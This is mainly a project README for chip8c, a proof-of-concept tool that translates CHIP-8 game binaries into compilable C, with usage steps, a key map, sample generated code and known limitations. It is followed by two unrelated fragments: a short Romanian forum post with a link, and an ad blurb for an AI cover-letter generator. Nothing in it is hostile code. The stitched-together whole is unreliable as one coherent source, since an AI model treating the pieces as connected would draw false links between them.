chip8c As an alternative to an emulator, this tool translates CHIP-8 binaries into equivalent C code, which can be compiled on POSIX-compliant OSes with ncurses. This is just a proof of concept, and the way it works could be still improved (see Details). Usage Compiling the tool: make Translating a CHIP-8 binary: ./chip8c breakout.ch8 Running the above will produce 3 files: mem.h - memory map of the binary breakout.ch8.c - translated C breakout.ch8.bin - runnable binary CHIP-8 has its own keyboard layout. To interact with the binary, use mapped keys: 1 2 3 C --mapped as--> 1 2 3 4 4 5 6 D Q W E R 7 8 9 E A S D F A 0 B F Z X C V Some CHIP-8 executables can be found on repos like this one. The ones that were tested and work well include pong, breakout and trip8 demo. Details What the tool was created for, is to check whether it's feasible to decompile machine code into a long switch-case, where the switched value is the program counter register, and the cases are instruction addresses coupled with code performing register and IO manipulation equivalent to that of a given instruction set. Insides of the resulting switch-case look like the following example: switch (pc) { /* ... */ case 0x0200: reg[0] = reg[6]; case 0x0202: reg[1] = 0xFC; case 0x0204: reg[0] &= reg[1]; case 0x0206: regi = 0x30C; /* ... */ case 0x0242: reg[0] = 0xFE; case 0x0244: reg[9] ^= reg[0]; case 0x0246: stack[sp++] = 0x0246 + 2; pc = 0x2A4; break; case 0x0248: reg[5] += 0x01; case 0x024A: stack[sp++] = 0x024A + 2; pc = 0x2A4; break; case 0x024C: if (reg[5] != 0x60) { pc = 0x024C + 4; break; } /* ...*/ } Worth noting, that breaking out from the switch-case is required only when jumps are performed, in all other cases it suffices to allow for the default linear flow. There are a few disadvantages of the technique: Code gets separated from data, so whatever takes advantage of von Neumann architecture won't work. A hexdump of a translated binary must be included in the resulting C file, so it could access its static data. Jumps to unexpected addresses aren't handled (odd addresses, for instance). This implementation uses ncurses for IO, which was chosen for its popularity and simplicity, but it's not a good fit for mimicking IO of CHIP-8. For instance, the instructions EX9E and EXA1 work best if the program maintains a map of keys that are currently pressed. It seems that ncurses doesn't detect key releases, so its hard to maintain such a map. Also, it would be nice if Unicode block characters could be used for the output, then neighbouring pairs of pixels could be packed into one of: , ▀, ▄ and █ to simulate nice looking square pixels. Download: chip8c-main.zip or git clone https://github.com/kiryk/chip8c.git Source
-
Salut, il mai are cineva? http://www.javascriptkit.com/howto/externalhtml.shtml P.S. il voiam pe cel al lui Neme
-
Tally.Work is an AI cover letter generator that creates a cover letter from your resume and a job description in seconds. It's intuitive, saves you time and works great as a starting point. URL: https://tally.work Via Google